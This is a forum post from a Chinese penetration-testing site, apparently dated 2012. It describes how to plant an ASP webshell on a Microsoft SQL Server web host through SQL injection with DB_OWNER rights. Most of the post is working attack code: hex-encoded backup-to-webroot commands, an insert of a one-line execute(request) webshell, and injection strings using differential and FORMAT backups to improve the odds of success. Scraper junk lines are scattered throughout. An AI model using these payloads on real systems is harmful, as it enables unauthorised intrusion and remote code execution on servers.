中国网络渗透测试联盟
标题:
DB_OWNER权限得到webshell的改进办法
[打印本页]
作者:
admin
时间:
2012-11-9 21:31
标题:
DB_OWNER权限得到webshell的改进办法
DB_OWNER权限得到webshell的两点改进:
- t4 q$ W' I+ T6 s$ S' R
8 Y6 x2 w0 G& \3 t1 ]5 w
减少备份文件大小，得到可执行的webshell成功率提高不少
9 x5 L0 s: T3 l( U# s
一利用差异备份
2 i$ J5 T3 f8 M. i- {. A
加一个参数WITH DIFFERENTIAL
+ ]& z( r( B2 I9 z$ V1 S
" B% c p4 C! c" F0 `
1
2 q I5 j+ }9 G
2
1 I7 D E9 B B/ J+ ?4 O, T/ x
3
( z* f. Z6 P- S2 `% @% x. g3 d
4
' ]- N2 K3 k1 L5 T
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ O; b3 a; O( \; ]
create table [dbo].[xiaolu] ([cmd] [image]);
3 t" f8 K! [1 k& D1 ~, R
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
8 ]5 R' ?7 Z+ Y' A, Q1 ?
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
6 v8 G1 H7 {' Q
7 U% u' b' W, X5 v
二利用完全FORMAT
( |" w5 K# h. Q1 Y/ Y! R4 x$ \' ?
加一个参数WITH FROMAT
/ Z& Y" `6 G$ V# [1 S! E" Z9 W+ w4 }" ]
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
v! }$ c/ K% g1 a) }% c9 |
6 x `4 a" ~! U u2 R
1
% F% K+ d! F2 v) N# _
2
% o& P; V/ q3 e/ P/ f- L5 g. C/ _
3
# X4 W5 O8 k! ~
4
- h- s. }$ e* M F
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
4 D" ^/ ^) l7 ^: g
create table [dbo].[xiaolu] ([cmd] [image]);
5 p' R+ m* Q! |) d
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
_7 ^" b1 L; z
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
) x# ~2 T9 k1 w; n4 t, h
) T! o3 K3 @. |1 G
总的来说就是那么简单几句,下面以备份数据库model为例子
2 ?0 `' r2 d2 I q6 y
1
( m$ L+ G: q& `1 \7 ^& Y
& [' q* _/ A! _+ A) d m2 j/ O
1
- G' A/ D+ N" `7 N5 I$ B2 T( e
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
; d, t5 N8 X% i6 ~
6 v% V1 {/ V- T0 R
2
: ^9 u% Y1 s @# p) i$ @# \
0 e0 J$ Z1 J& F+ p2 J) n
1
7 T6 V( z9 N$ P# m- `" @
id=1;backup database model to disk='你的路径‘ with differential,format;--
! g! H( [& g2 n6 _
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2